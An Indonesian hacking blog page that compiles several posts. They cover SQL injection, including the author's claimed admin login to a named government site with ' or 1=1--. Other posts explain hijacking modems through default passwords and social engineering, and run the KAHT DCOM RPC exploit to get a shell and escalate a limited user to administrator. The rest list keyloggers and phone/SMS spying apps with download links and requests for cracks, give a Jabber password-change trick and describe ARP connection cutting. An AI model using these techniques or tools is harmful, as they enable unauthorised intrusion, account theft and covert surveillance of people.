Halaman

Select Language For You

Login

Blog Archive

Saha Wae

free counters

Your Properties

IP
Sabtu, 20 Maret 2010

PHP Security – Cek Bug PHP Script

Setelah terampungkan script php yang telah kita buat ada kalanya bug-bug yang tidak diinginkan bercokol di sela-sela script yang telah siap dionlinekan. Dan tentunya bug ini bisa berakibat fatal sehingga dapat dimanfaatkan oleh para intruder-intruder yang berusaha untuk mengekploitasi system.

Dan siapa sangka script php yang telah dibuat itu aman dari kerentanan dalam masalah security. :D ~~~

Lalu, bagaimana mencegah sang hacker mengekploitasi, bahkan merusak website anda, bagaimana mencegah secara pasti dan mengetahui script yang telah dibuat memiliki bug yang fatal, bagaimana menangani itu semua ?? :D

Sebelum kita beralih maju ke langkah selanjutnya ada baiknya untuk mengenali bug popular yang paling sering diexploitasi.

Penulis akan mencoba untuk memberikan sedikit penjelasan, bug yang sering dijumpai dalam aplikasi berbasis web khususnya Content Management system maupun yang lainnya. Di antaranya :

- XSS ( Cross Site Scripting )
- SQL Injection
- RFI ( Remote File Inclusion )

Cross Site Scriping
Lebih dikenal dengan sebutan XSS. Kesalahan ini terjadi karena tidak adanya filtering pada html maupun java script.

Tetapi pada dasarnya defacing ( perubahan kontent ) hanya terjadi disisi client saja. Yang paling fatal dari bug ini adalah anda dapat mencuri cookie kemudian menggunakannya untuk berbuat sesuatu yang … :D ~~

Contohnya :
Sensored [ maaf ]

SQL Injection
SQL Injection sebenarnya terjadi karena seorang attacker yang mencoba melakukan inject query sql melalui form ataupun via address bar pada browser internet. Sebagai contohnya ketika penulis mencoba login sebagai admin pada situs pemerintah Sumatra Selatan ( http://www.sumsel.go.id ). Dengan menggunakan query ‘ or 1=1– penulis pun berhasil login. Pada dasarnya ‘ atau single quote dan or 1=1– itu berfungsi untuk membingungkan si server sql, sehingga yang dilakukan oleh server sql adalah menjalankan query ” select * “. Yang terjadi adalah penulis diloloskan untuk login sebagai admin.

Berikut adalah gambar yang penulis capture ketika penulis berhasil login sebagai admin pada situs http://www.sumsel.go.id

Gambar ini diambil sebelum penulis mengontak webmaster via email untuk mempatch script phpnya.

RFI ( Remote File Inclusion )
Sebelumnya silahkan membaca artikel fungsi require, require_once, include, dan include_one RFI sendiri terjadi karena kesalahan programmer ketika melakukan coding, yakni menggunakan variable dalam fungsi-fungsi tersebut. Apabila user memasukkan url evil script miliknya pada variable yang digunakan dalam fungsi require ataupun include, yang terjadi adalah evil script tersebut dapat dieksekusi secara remote, dengan kata lain, attacker dapat menjalan command di server milik anda untuk merubah konten situs atau bahkan merusaknya. :D ~~

Untuk contohnya silahkan anda cari di www.milw0rm.com :D ~

Keywordnya Remote File Inclusion. :D ~

Pengecekan BUG
Pengecekan bug sendiri bisa dilakukan secara manual. Hmmm … tentunya ini akan memakan banyak waktu. Terbentuklah tools yang dapat secara cepat dan otomatis menemukan bug-bug yang terselip di php script secara tidak sengaja maupun sengaja. :D ~

Pada dasarnya untuk mengecek bug dapat dilakukan secara online maupun offline. Penulis sarankan pengecekan bug ini dilakukan di localhost anda ( offline ) saja.

Cek Bug XSS
Tools untuk mengecek XSS pada script php milik anda adalah sebuah addons mozilla firefox yang disediakan secara gratis. Penginstallannya pun tergolong mudah, berikut juga cara penggunaannya.

Tools tersebut dapat anda download disini :
http://www.securitycompass.com/exploit_me/xssme/xssme-0.2.1.xpi

Cek Bug SQL Injection
Untuk periode saat ini defacing dengan SQL Injection digolongkan paling favorit dan tentunya paling banyak digunakan, mungkin karena penyerangan yang dilakukan cukup mudah, cukup memiliki dasar pengetahuan syntax sql. Lagi-lagi sebuah addons mozilla firefox yang cukup ampuh dan mudah digunakan telah disediakan untuk melakukan cek bug sql injection. :D

Anda dapat mendownloadnya disini :
http://www.securitycompass.com/exploit_me/sqlime/sqlime-0.2.xpi

Penggunaanya pun tidak terlalu sulit.

Cek BUG Remote File Inclusion
Sebelumya anda download terlebih dahulu scriptnya disini http://www.newhack.org/dl_jump.php?id
Setelah itu silahkan download active perl, compiler interpreter ini nantinya digunakan untuk menjalankan script inclusionscanner.pl.
Dan kemudian copykan inclusionscanner.pl tersebut ke direktori c:perlbin

Langkah selanjutnya :

1. Masukkan script yang akan anda scan kedalam sebuah direktori di c:perl php.

ex : c:perlwordpress.

2. Masuk ke command prompt, start | run | cmd | enter

3. Setelah itu masuk ke direktory c:perlbin, cd c:perlbin

4. Jalankan scriptnya,

C:Perlbin>perl.exe inclusionscanner.pl

#Will check a directory for all includes and unsets

#Coded by Ironfist (ironsecurity.nl)

#Usage: create a folder in your perlfolder and put the files to be scanned in it

, next type the folder name below (eg myfolder)

#GIVES ERRORS WHEN CHECKING SUBFOLDERS: IGNORE THEM :)

Directory to read? c:perlwp

kemudian lihat hasilnya di c:perlbinresult.html

berikut hasil scan ketika penulis mencoba untuk melakukan cek inclusion pada wordpress-2.3.3 :

FOUND: require_once($locale_file);
in c:perlwp/wp-settings.php FOUND: require_once($import_root . ‘/’ . $file);
in c:perlwp/wp-admin/import.php FOUND: include_once($this->PluginDir . “class-smtp.php”);
in c:perlwp/wp-includes/class-phpmailer.php FOUND: include($lang_path.’phpmailer.lang-’.$lang_type.’.php’);
in c:perlwp/wp-includes/class-phpmailer.php FOUND: include($lang_path.’phpmailer.lang-en.php’);
in c:perlwp/wp-includes/class-phpmailer.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: include($template);
in c:perlwp/wp-includes/template-loader.php FOUND: require_once($_template_file);
in c:perlwp/wp-includes/theme.php

woww !!! :D ~~ silahkan di exploitasi eh di patch script milik anda. :D ~~

Ingat, jangan merusak, jangan berbuat vandal, jika anda menemukan bug di situs lain seperti yang telah saya sebutkan diatas, silahkan beritahu pihak admin.greetz to : ilmuwebsite staff, member ilmuwebsite,

special for jojo and her baby.

Sumber :Here

Hacking Modem Speedy dan Penanganannya

Sebenarnya sudah lama sekali telkom mengadakan diskon besar-besaran untuk meraih pelanggan sebanyak-banyaknya. Udah dulu promosinya. :D

Sama dengan bug-bug yang lainnya, konfigurasi default akan membuat pihak luar yang tidak diinginkan seperti cracker dengan mudah mengeksploitasi secara besar-besaran sehingga memanen username dan password menjadi sesuatu yang memungkinkan sekali untuk dilakukan. Contoh bug yang buruk, yaitu username default dan password yang default.

Sebelum ngejabarin masalah teknisnya, berikut alat-alat yang diperlukan :



Browser Internet ( mau yang banyak bugnya, maupun yang sedikit bugnya )

Website dengan log system flat file ( diambil dari artikelnya Anggi J. )

Aplikasi Instant Messaging, ex : Yahoo Messenger ( Social Engineering )

Internet Password Asterisk Reveal

( http://www.nsauditor.com/freeware/downloads/IEAstRecover.exe )



Langkah Pertama

Silahkan anda baca artikel http://www.ilmuwebsite.com/detil_php_tutorial/2/_Membuat_System_LOG_dengan_FLAT_FILE/
, cara memasang log system flat file. Digunakan untuk mendapatkan alamat ip dari sang korban.



Langkah Ke Dua

Inti dari artikel ini adalah pencarian user yang akan dijadikan korban. Anda bisa menggunakan aplikasi IRC ataupun instant messaging yang lainnya. Alangkah baiknya anda menggunakan aplikasi IRC, seperti mIRC ataupun yang lainnya, karena fasilitas whois yang ada didalamnya mempermudah kita untuk segera mengetahui IP sang korban, tapi pada beberapa kasus, adakalanya user yang advanced menggunakan anonymous proxy yang tentunya menyembunyikan IP asli miliknya. Sehingga perlu teknik social engineering yang lebih ampuh lagi. Berikut ada sedikit percakapan antara seseorang sebagai intruder dengan sang korban menggunakan aplikasi yahoo messenger :



Mamang (intruder) : dah liat situs ini belom, ilmuwebsite.com ???

Sang_korban : apaan tuh ?

Mamang (intruder ) : situs keren punya orang keren, ngebahas tentang berbagai artikel mengenai kekerenan. Coba deh liat.

Sang_korban : coba, gw liat dulu. # kena!!

Mamang ) intruder ) : gimana keren kan ? eh, gw off dulu yah. C U



Situs ilmuwebsite.com tersebut, merupakan sebuah contoh situs yang anda gunakan untuk merecord ip sang korban. Anda bisa memasang log system flat file pada situs milik anda. Dengan mengusahakan sang korban tertarik untuk mengunjungi situs yang telah dipasang log system flat file.

Contoh IP yang sudah dilog dalam flat file,



Waktu: Fri, 06 Jul 2007 12:47:04 +0700 | IP asli: 125.161.2.85 | Browser: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90) | URL: / | Referrer: | Proxy: | Koneksi:



Langkah Ketiga

Setelah mendapatkan alamat ip sang korban, yang perlu anda lakukan adalah membuka browser, kemudian pada address bar isi dengan alamat ip yang telah anda dapatkan, sebagai contoh yang saya dapatkan adalah http://125.160.#.# isikan username dengan admin dan passwordnya admin. Jika anda beruntung, anda akan langsung dihadapkan kepada halaman username ADSL dan tentunya password yang asterisk. Untuk membuka password yang asterisk, anda cukup menggunakan Internet Password Asterisk Reveal.







Penanganan

Sebenarnya dengan mengganti password yang default pun itu sudah bisa mencegah teknik seperti ini. Dan intinya password yang kuatlah yang susah untuk dimanfaatkan. Password yang kuat ini memiliki lebih dari 8 digit, dan merupakan gabungan dari angka huruf dan special character. Ex: ilmVw3851te –> bentuk lain dari ilmuwebsite



Sayangnya, telkom telah menerapkan system yang unique, sehingga account speedy tidak bisa digunakan pada jaringan telepon yang berbeda. Dan tentunya anda tidak bisa men-take over account yang sudah didapatkan. Mohon Maaf, artikel ini hanya sebagai contoh pembelajaran.

Default password untuk setiap modem :

http://www.elitehackers.info/defaultpasslist.php

// Greetz :



Special for mylovely, terima kasih infonya, ide-nya jadi makin bertambah.

Bscorpio, phii, dan ryuzaki, ninjaring, barudak STTTelematika Ciawi Bogor.

Fel_c, Mentari^, Abang Dennis the Manace

Allguys Echo Member, #khilafah, pepei dwipangga dan konco-konconya di liberationyouth.com, anak-anak saveusgue

Sumber : Here

Tekhnik Exploit Password WinXP

Kali ini saya akan mencoba untuk menjelaskan 2 teknik exploitasi pada windows XP, pertama melakukan pemanfaatan SAM files dan terakhir memanfaatkan RPC-nya Windows XP. Tekhnik kedua sebetulnya adalah kelanjutan dari artikelnya mRt di echo zine 10 yang membahas tentang Exploitasi Windows XP [pada fat32] dengan memanfaatkan sang Admin sendiri (hehuehuheue … ) dan batch file yang disisipkan di start|program|startup oleh sang kriminal :) , sedangkan kali ini yang saya bahas adalah jenis NTFS, yang tidak memiliki acces seperti pada fat32 untuk dapat menaruh batch file di folder start up nya sang Admin tersayang, sehingga apabila dipaksakan “Access Denied” adalah jawabannya. Apa akibatnya jika kita menggunakan kedua tekhnik diatas ?, yang jelas mah sama-sama buat orang seneng… heuheueehuhuehuee ! Jawab sendiri dah …

Tekhnik pertama :
Yang kita butuhkan sekarang adalah :
Petter Recovery Password yang bisa di download dari situsnya langsung http://home.eunet.no/~pnordahl/ntpasswd/bootdisk.html sekalian sama infonya aja, biasanya sudah di sediakan dalam bentuk rar yang bisa di jadikan bootdisk. Yang penulis pakai untuk experimen kali ini yaitu versi bd040818 terdapat 3 file di dalamnya yakni bd040818.bin , install.bat , rawrite2.exe .
1 buah disket kosong dan layak pakai. :) –> untuk disket boot Petter Recovery Password.
Nekatzzzz ….

Kasusnya begini, misalnya ….anggap saja kita lupa password untuk login winXP nya. : ) atau kasus yang laen aja kali ya, yang lebih menantang … hehehe. Misalnya ada rampok yang kebingungan nggak bisa login, padahal kompienya mo dijual … huehueueheue. Ada yang kesindir nggak nih ??? Udah ah bcanda mulu. Langsung aja deuh …

Langkah pertama … Setelah Petter Recovery Password di jadikan bootdisk, langsung saja booting dengan disket tersebut …
Langkah berikutnya, anda akan di tanya di drive mana SAM file berada. Tekan enter saja untuk defaultnya, setelah itu akan ditanyakan secara spesifik lagi, di direktori mana file SAM berada, biasanya untuk yang defaultnya tuh SAM file berada di /windows/system32/config, enter lagi aja untuk yang defaultnya. Setelah itu ……. Nah sampe disini anda akan di minta User mana yang ingin di ganti/hapus passwordnya. Lebih baik Administrators aja, karena yang kita lakukan saat ini kan mencari cara untuk menjadi SU di Windows XP. Biar gampang melakukan sesuatu nantinya …. hehehehe !!! Untuk eksperiment kali ini lebih baik anda membuat password Administrators menjadi blankpassword [* = blankpassword], supaya gampang nantinya, dan blankpassword merupakan pilihan terbaik dalam menggunakan Petter Password Recovery. Soalnya penulis sendiri telah belasan kali mencoba mengganti password para user dengan tetapi hanya 2 yang berhasil. Sudah ??? … siiiip, tekan ! untuk mengakhir sesi reset password, dan q untuk mengakhiri scripts tersebut. Selanjutnya anda akan di tanya kembali, ingin mengulang atau tidak. Lebih baik tidak lahhhh … Edit Completed. Catatan : Setelah menggunakan Petter Recovery Password, Windows berusaha untuk melakukan scandisk, system ne baru di acak-acak nie : ). Tunggu hingga proses scandisk selesai.
Setelah proses booting, anda akan di hadapkan dengan tampilan login yang seperti biasanya. ( Nggak menarik, hehehehe… ) Sekarang tekan ctrl+alt+del, tunggu sebentar dan kemudian tekan kembali ctrl+alt+del. Nah ada tampilan login yang clasic, seperti di windows 98 dulu. Dengan 2 textbox…

————————————————-
| Log On to Windows | x |
————————————————-
| User Name : Al-k |
| Password : ****** |
| |
| | Ok | | Cancel | | BLABLABLABLA….| |
————————————————-

Ya, bentuknya kira-kira seperti diatas … : )…
Setelah itu ganti usernamenya menjadi Administrator, passwordnya di kosongkan saja, karena sebelumnya kita telah menjadikan blankpassword pada Administrator. Ok. Jreng-jreng-jreng… sekarang anda menjadi super user kembali. Silahkan buat account untuk anda sendiri.

Tekhnik Kedua :
Tiba saatnya kita maju bersama … :D , memanfaatkan Massive RPC WinXP yang bobrok. Tekhnik kedua ini dibuat untuk para user yang memiliki acces limited. Yang dibuat kesal oleh sang admin, sehingga untuk menginstall suatu software harus minta izin dari sang Admin. :( . Yang dibutuhkan hanyalah acces untuk masuk ke command shell, dan satu tool kecil ‘kaht’ . Siap ???… buka command promptnya …

C:Documents and SettingsAl-k>net user

User accounts for \NOMATTER ------------------------------------------------------------------------------- Administrator Al-k GNU-- keluarga -- Guest HelpAssistant SUPPORT_388945a0 VUSR_NOMATTER The command completed successfully.

// Anggap saja disini Al-k adalah user yang limited// Setelah itu masuk ke direktori di mana kaht berada

D:Data+ku_>

Kemudian kita test dulu kaht-nya… bisa nggak nih kita nge-root.

D:Data+ku_>kaht 127.0.0.0 127.0.0.3_________________________________________________

KAHT II - MASSIVE RPC EXPLOIT DCOM RPC exploit. Modified by aT4r@3wdesign.es #haxorcitos && #localhost @Efnet Ownz you!!! FULL VERSION? :) - AUTOHACKING ________________________________________________

[+] Targets: 127.0.0.0-127.0.0.3 with 50 Threads [+] Attacking Port: 135. Remote Shell at port: 34522 [+] Scan In Progress... - Connecting to 127.0.0.2

Sending Exploit to a [WinXP] Server... - Conectando con la Shell Remota...

Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.

C:WINDOWSsystem32>

Tuh kan dapet deh akses rootnya. Jangan seneng dulu. Langsung aja kita buat akses user yang terbatas tadi menjadi Super User.



C:WINDOWSsystem32> net localgroup Administrators Al-k /add

The command completed successfully.



Selanjutnya anda bisa login dengan user yang baru saja dirubah accountnya tadi. Dan anda bisa login ke account user lain yang memiliki akses sama seperti Administrator, tentunya dengan menghilangkan password user tersebut dulu sebelumnya. Dan anda bisa masuk ke regedit untuk menutup perizinan user account pada control panel :

HKEY_CURRENT_USER/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/DisallowCpl/

, buat string baru dengan nama 1 dan ubah valuenya menjadi nusrmgr.cpl
Dan bisa anda disable akses ke command prompt kepada semua user. Sehingga anda menjadi SU yang benar-benar otoriter. Sayangnya tekhnik yang kedua ini hanya bisa di lakukan di Windows XP Service Pack 1. : (

// Refferensi :
– Seni Tekhnik Hacking 1 [S’to]
– Echo Zine 10, Exploitasi Windows XP [mRt]
– Iseng Instink

// Greetz :
– y3dips, Lirva32, z3r0byte ( Arabic Man :) ), the_day, S’to [duuh masuk TV tuk
yang kesekian kalinya nih ???] . & Echo staff who can’t mentioned 1 by 1.
– Alumni SMAN4 Bogor & All guy’s in STTTelematika Ciawi Bogor.
– Special for Jheseecka & Melati “Mel, ini artikel ke 1 dan ke 2-nya !!! :) “
– hg_ , Fel_c, Mentari^, the aeh, zacx, Azwa, Sita, Dulleh, Ibonx, weww, Qank-qunk,
AK47-angga, ninjaring
– Allguys in #yogyafree, Echo Member, #khilafah, #pribumi, #e-c-h-o, #freebase

Sumber : Here

Koleksi 63 Keylogger Pilihan

Bagi para lamerz maniak hacking tools pasti sering mendengar keylogger. :D . Apa sih keylogger ? Keylogger merupakan tools yang pada dasarnya memiliki sebuah fungsi untuk melakukan monitoring semua akitivitas yang dilakukan oleh user pada sebuah PC. Mulai dari merekam password yang diketikan, chatting di instant messaging, program apa saja yang dijalankan oleh user, apa yang dilakukan user pada program tersebut, dan semua yang diketikkan di keyboard hingga pergerakan mouse, bahkan beberapa keylogger yang telah lama beredar mengincludekan fasilitas pengcapture layar monitor setiap 5 menit sekali, dan outputnya adalah HTML.

Ada beberapa keylogger yang cukup menarik, diantaranya ada yang dapat mengirim hasil dari monitoring aktivitas tersebut ke email sang penanam keylogger tersebut. Sehingga si penanam keylogger tersebut dapat melihat semua aktivitas yang dilakukan oleh user pada sebuah pc melalui email.
Jelas keylogger ini bersifat kontroversial seperti 2 mata pisau, positif, negatif, membangun dan menghancurkan. Tidak cukup waktu untuk mendiskusikan semua hal tersebut.
Untuk menambah koleksi hacking tools anda, :D silahkan unduh 63 keylogger terbaru yang cukup handal …

Berikut daftarnya :
1. 007 Keylogger Spy Software 3.873
2. Active Key Logger 2.4
3. Activity Keylogger 1.80.21
4. Activity Logger 3.7.2132
5. ActMon Computer Monitoring 5.20
6. Actual Spy 2.8
7. Advanced Invisible Keylogger v1.9
8. Advanced Keylogger 1.8
9. Ardamax Keylogger 2.9
10. BlazingTools Perfect Keylogger 1.68
11. Blazingtools Remote Logger v2.3
12. Data Doctor KeyLogger Advance v3.0.1.5
13. Local Keylogger Pro 3.1
14. ExploreAnywhere Keylogger Pro 1.7.8
15. Family Cyber Alert 4.06
16. Family Keylogger 2.80
17. Firewall bypass Keylogger 1.5
18. Free Keylogger 2.53
19. Ghost Keylogger 3.80
20. Golden Eye 4.5
21. Golden KeyLogger 1.32
22. Handy Keylogger 3.24 build 032
23. Home Keylogger 1.77
24. Inside Keylogger 4.1
25. iOpus Starr PC and Internet Monitor 3.23
26. iSpyNow v2.0
27. KeyScrambler 1.3.2
28. Keystroke Spy 1.10
29. KGB Keylogger 4.2
30. KGB Spy 3.84
31. LastBit Absolute Key Logger 2.5.283
32. Metakodix Stealth Keylogger 1.1.0
33. Network Event Viewer v6.0.0.42
34. OverSpy v2.5
35. PC Activity Monitor Professional 7.6.3
36. PC Spy Keylogger 2.3 build 0313
37. PC Weasel 2.5
38. Personal PC Spy v1.9.5
39. Power Spy 6.10
40. Powered Keylogger v2.2.1.1920
41. Quick Keylogger 2.1
42. Radar 1.0
43. Real Spy Monitor 2.80
44. Real Spy Monitor 2.80
45. Remote Desktop Spy 4.04
46. Remote KeyLogger 1.0.1
47. Revealer Keylogger Free 1.33
48. SC Keylogger Pro 3.2
49. Smart Keystroke Recorder Pro
50. Spector Pro 6.0.1201
51. SpyAnytime PC Spy 2.42
52. SpyBuddy 3.7.5
53. Spytech SpyAgent 6.02.07
54. Spytector 1.3.5
55 Stealth Key Logger 4.5
56. System keylogger 2.0.0
57. Tim’s Keylogger 1.0
58. Tiny Keylogger 2.0
59. Total Spy 2.7
60. Windows Keylogger 5.04
61. Win-Spy Pro 8.9.109
62. XP Advanced Keylogger 2.5
63. XPCSpy Pro version 3.01

Mohon maaf, sementara link 63 keylogger di suspend terlebih dahulu, sampai kami upload ulang semua keyloggernya ke server local, sebagai gantinya silahkan mencoba keylogger yang tidak kalah powerfull http://hotfile.com/dl/91905/3eb88a2/Beyond.Keylogger.v3.1.Multilenguaje.Incl.KeyMaker.and.Patch-DVT.rar.html

Sumber : Here

Reset Password Windows 7 Dengan Trinity Rescue Kit 3.3

Mungkin diantara kita pernah mengalami lupa password dari akun windows kita nah disini akan kita bahas mengenai bagaimana mereset password akun di windows kita. berhubung untuk crack dan reset password buat xp udah banyak, maka kita pilih windows keluaran terbaru saja yah, yakni windows 7 ultimate

Untuk tools-nya kita pake trinity rescue kit 3.3, tools ini berbasis "linux".. bersifat bootable, bisa digunakan untuk mereset password windows 7, vista, dan xp. Untuk memperolehnya bisa di download gratis di http://trinityhome.org

ok!! let's reset the p455w0rd!

1. burn iso trinity, klo males beli cd blank mending pake unetbootin aja, berfungsi untuk jadiin flashdisk temen-temen jadi bootable

2. cek user yang akan kita reset passwordnya, bisa dilihat pas halaman login windows dan ingat baik baik nama usernya. disini saya udah siapkan user yang akan kita reset bernama "aan" dengan status administrator.



3. set booting ke cd/dvd atau flashdisk melalui bios.. biasanya untuk pc keluaran terbaru sudah support booting lewat flashdisk

4. pilih menu "run trinity rescue kit 3.3 (default)



5. tekan "y" jika ada pertanyaan selama booting berjalan, sampai muncul menu shell seperti ini,

kemudian kita ketik perintah "winpass -u aan" (aan yakni user yang akan kita reset)



6. akan muncul informasi mengenai user yang ada di windows 7




7. karena kita akan mereset password, tekan 1 untuk perintah mereset password



8. yeah! password telah di reset.. silahkan coba login dengan user aan dan passwordnya biarin kosong

9. cek informasi user di control panel





yuhuuu.. cukup aman kah password windows anda?? semua kembali ke kita
moga bermanfaat buat temen temen disini..

referensi: http://trinityhome.org

by:
bl4ckz_e4gle
e-mail: bl4ckz.e4gle@gmail.com

Sumber :Here

Windows 7 Ultimate (Full Color) (Ciu Bun Seng)

Windows 7 Adalah sistem operasi terbaru yang diharapkan mampu memikat hati pengguna Windows Vista dan juga pengguna Windows XP yang selama ini enggan berpindah ke lain hati. Windows 7 tidak menuntut hardware setinggi Windows Vista sehingga menawarkan performance yang lebih baik namun Windows 7 bukan cuman ini.

Didalam buku ini, Anda akan melihat teknologi-teknologi baru yang diperkenalkan oleh Windows 7 sehingga pantas mendapatkan sambutan yang jauh lebih baik daripada Windows Vista dihari peluncurannya di seluruh dunia. Buku ini akan membahas tentang :

* Homegroup, sebuah jaringan pengganti workgrooup yang tidak memerlukan administrasi dan pembuatan user account.
* Libraries, pengganti folder My Documents yang sangat fleksibel. Kini, Anda bisa mengakses semua file dan folder Anda dari segala tempat secara terpusat.
* Aero Shake, kini Windows menerima goyangan mouse Anda yang akan membuat windows lainnya di-minimize
* Windows Vault, sebuah dompet virtual yang akan menyimpan semua user account Anda.
* BitLocker To Go, kini Anda mempunyai pilihan menarik untuk mengamankan flash disk dan hardisk external Anda.
* Dan topik menarik lainnya....




Judul
Windows 7 Ultimate
Penulis Ciu Bun Seng
ISBN 978-979-1090-33-9
Harga Rp. 45.000,-
CD Tidak
eLearning Tidak
Index Tidak
Halaman 128 Full Color
Level Pemula
Download Belum Tersedia
Terbit 2009

Beli buku ini secara online di www.tokomahal.com

10 Aplikasi Penyadap Telepon dan Sms

Bnyak tmen2 yg nnya soal gmna cara nyadap telpon, gmna cara nyadap sms, ampe bnyak yg buat dobel thread...
nah utk ngejawab pertanyaan td ane mo ngasih tau niy, cr2 n' aplikasi tuk ngeyadap telpon ma sms,, klo udh ada yg buat thread kya gini, mnding niy thread di apus aja.. biar ga triple thread, Occ mod??

niy Aplikasi2 nya :

1) Mobile Secuware
Fitur penyadap Mobile Secuware bisa digunain utk memantau pacar aato tmen kita lewat fitur Remote Monitoringvnya. Selaen ntu Aplikasi ini dibekali kemampuan anti maling, jd klo hp ncang2 pd ilang ato di curi, kita bisa tau lewat fasilitas M-Trax (data2 nya pun bisa di selamatin)
aplikasi nya bisa di donlot di http://www.mobile-secuware.com

2) Xelnex Lite
Xelnex Lite bisa digunain utk ngerekam pembicaraan ditelpon tanpa didahului bunyi 'beep'. jd terjaga kerahasiaaan nya,,
sayang nya aplikasi niy masih shareware alias bayar, tp kita bisa nyoba versi trial nya selama 10 hari n' aplikasi niy kompatibel utk Symbian S60 3rd edition.
klo ada yg mo nyoba donlot aja di http://shop.psiloc.com/d/s60/XelnexLite_s603rd.sisx

NB : klo udah ada yg bisa nge crack nya, tolong di share yaa..

3) Mobile-Spy
Pengguna hp Symbian S60 udh bisa make layanan pengintip isi hp dr jarak jauh. Dgn layanan ini mereka bisa mengetahui informasi lalu lintas sms dan telpon, yg bisa diakses dr pc ato hp laen lewwat server yg disediain.
selaen Symbian, hp yg berbasis windows Smartphone jg bisa make aplikasi niy...
sayang nya aplikasi niy juga msh trial, klo ada yg mo nyoba donlot di http://www.mobile-spy.com/MobileSpy.CAB versi trial nya cuman 7 hari

NB : klo udah ada yg bisa nge crack nya, tolong di share yaa..

4) BT Info
aplikasi yg niy cuman memanfaatkan bluetooth doank, ya jd sama lah kya aplikasi2 laen...
klo ada yg mo nyoba, donlot di http://en.k508i.wz.cz/jar/ftp_bt_105.jar
BT Info jg bisa digunain utk ngendaliin semua fungsi hp, kaya nelpon, kamera, alarm, master reset, ampe matiin hp juga bisa.

5) Call Rrecorder dan AGLAYA Call Magic
fungsi nya cuman utk ngerekam pembicaraan telpon doank,,
klo ada yg mo nyoba, donlot disini aja http://symbianware.com <== utk Call Recorder nya
http://www.aglaya.com/symbian/symbia...call_magic.asp <== utk AGLAYA Call Magic nya

6) TimedSpy
klo pnya hp Symbian S60 v.2 bisa langsung make tnpa alat tambahan,,
fungsi nya utk mengintai orang, jd aplikasi nya melakukan pemotretan trus hasil nya lngsung dikirm gituu...
klo ada yg mo nyoba, donlot di http://www.diginaut.com/mobile/archi...edSpyTrial.sis

7) Magic Blue Hack
Aplikasi garapan Humayan Kabir Pavel dan Avishek Ahmed ini, kompatibel utk ponsel Java MIDP 2.0 berBluetooth, Symbian s60, dan PDA.
Fitur yg tersedia yaitu Make Call, Send SMS, Phonebook, Write Ph Book, Answer Call, dan Hang Call.
klo ada yg mo nyoba, donlot di http://www.getjar.com/products/175782/MagicBlueHack

8) BT Teror
Untuk usil2an, bisa di donlot di http://www.symbian-freak.com/downloa...eror_S60v3.zip.
Fungsi nya untuk memanipulasi bluetooth, jd aplikasi nya utk ngirim file2 ke hp target terus2an,, jd kaya flooding gitu deh...
Aplikasi niy harus terintregrasi pula dengan program Python S60 dan Python Script Shell. Utk nge donlot Python nya bisa donlot di http://sourceforge.net/project/showf...roup_id=154155

9) Mobiscope beta
Seiring kemajuan teknologi, dengan memanfaatkan jaringan internet kita bisa menikmati layanan video streaming. Jd, nnti nya kita bisa membroadcast pantauan webcam melalui server dari suatu penyedia layanan. Hingga kita bisa dengan mudah mengaksesnya lewat hp, sekalipun jarak kita jauh. Mayoritas ponsel yg beredar di pasaran bisa melakukannya, mengingat sudah dijejali teknologi bearer data (GPRS/3G).
klo ada yg mo nyoba, donlot di http://www.mobiscope.com/.
dengan aplikasi ini, kita bisa mengakses webcam lewat hp dengan aman dan nyaman. Menarik nya lg, aplikasi niy dilengkapin fitur sensor gerak dan scheduler, utk merekam situasi pada waktu tertentu.

10) SMS Anywhere
SMS Anywhere fungsi nya nge forward semua sms yg dikirim n' diterima ponsel target ke ponsel kita.
klo ada yg mo nyoba, donlot di http://www.wireless-labs.com/smsanywhere/


Nah,, sekarang terserah ncang2 pd mo make yg mna...
tinggal di sesuain ama keadaan sekitar nya,, hehehehe....


Have fun,






referensi : Majalah PULSA (edisi 155)

Sumber : Here

Trik mudah jebol password di jabber server

Trik ini adalah cara termudah untuk jebol password pada jabber, sudah dipraktekkan pada beberapa variant server jabber misalnya nimbuzz dan buzzme. Namun bilamana authentication 403 sudah aktif maka script ini sudah tidak dapat dipergunakan lagi. Namun demikian masih ada beberapa cara untuk menjebol password di server jabber tersebut.
Caranya adalah :

1. login account mu pada server tujuan
2. aktifkan xml console kemudian jalan kan script ini
isinamausernyapasswordrequestisi nama resource
3. tunggu sampai ada balikan request change password dimana type=result
4. selamat password target telah berubah
5. Bila balikan error berarti sever jabber tersebut sudah mengamankan bagian change password ini

TuxCut, Pemotong Koneksi Client Hotspot

Author : bl4ckz_e4gle
Email : bl4ckz.e4gle@gmail.com

TuxCut, sebuah aplikasi yang hampir sama seperti netcut di windows, yang dapat digunakan untuk memotong akses internet pada hotspot, atau sebuah PC LAN workgroup dari client ke server atau sebaliknya dengan memanfaatkan protokol ARP. Program ini dipergunakan oleh pengguna jaringan yang jail dan ingin mengambil jatah bandwith untuk dipakai sendiri. Tuxcut di buat dari bahasa PyQt, untuk lebih jelasnya bisa langsung mengunjungi situs resminya di http://bitbucket.org/a_atalla/tuxcut/src/

Tuxcut agak sedikit berbeda dengan Netcut, di dalam Tuxcut sudah di bundel fitur buat memproteksi kita agar koneksi internet kita tidak bisa dicut atau di potong oleh user lain. Selain itu, ada fitur buat mac scanning dan mac changer-nya juga.. Sebaliknya untuk Netcut, agar kita terproteksi dari user jail yang memakai Netcut, kita harus menginstall program lagi yakni AntiNetcut (meski netcut selalu lebih maju dari anti netcut).

Untuk cara penginstalannya, disini saya menggunakan sistem operasi berbasis kubuntu linux.


1. Download TuxCut, karena kita mau menginstall di kubuntu, kita download debian package di http://bitbucket.org/a_atalla/tuxcut...ut-3.2_all.deb

2. Sebelum menginstall TuxCut, kita perlu menginstall arp-scan arp-tables dan dsniff (membutuhkan koneksi internet agar kebih mudah dalam proses installnya)

